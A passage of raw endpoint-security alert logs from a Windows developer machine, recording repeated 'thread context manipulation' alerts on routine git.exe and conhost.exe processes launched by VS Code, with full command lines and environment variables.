--disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 11 + Pid: 2836 + Tid: 18388 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.3765705 +0100 CET + Params: cmdline➜ git.exe config --get commit.template, directory_table_base➜ 46dbc7000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57863080, name➜ git.exe, pid➜ 1144, ppid➜ 2836, real_ppid➜ 2836, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.3765705 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2836 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 13 + Pid: 4252 + Tid: 2080 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.3816448 +0100 CET + Params: cmdline➜ git.exe for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 19f1e4000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f4c0b3080, name➜ git.exe, pid➜ 14364, ppid➜ 4252, real_ppid➜ 4252, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.3816448 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 4252 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 21 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.4661617 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" status -z -uall, directory_table_base➜ 459d4d000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f571cb080, name➜ git.exe, pid➜ 7636, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.4661617 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 23 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.4748746 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 3963b9000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f572d0080, name➜ git.exe, pid➜ 9784, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.4748746 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 25 + Pid: 7636 + Tid: 1400 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.4765045 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 22b8fc000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5746b080, name➜ conhost.exe, pid➜ 1224, ppid➜ 7636, real_ppid➜ 7636, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.4765045 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 7636 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 27 + Pid: 9784 + Tid: 14448 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.4838705 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 346e18000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57943080, name➜ conhost.exe, pid➜ 7880, ppid➜ 9784, real_ppid➜ 9784, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.4838705 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 9784 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 29 + Pid: 7636 + Tid: 1400 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.5182343 +0100 CET + Params: cmdline➜ git.exe status -z -uall, directory_table_base➜ 309c7000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57238080, name➜ git.exe, pid➜ 8780, ppid➜ 7636, real_ppid➜ 7636, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.5182343 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 7636 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe 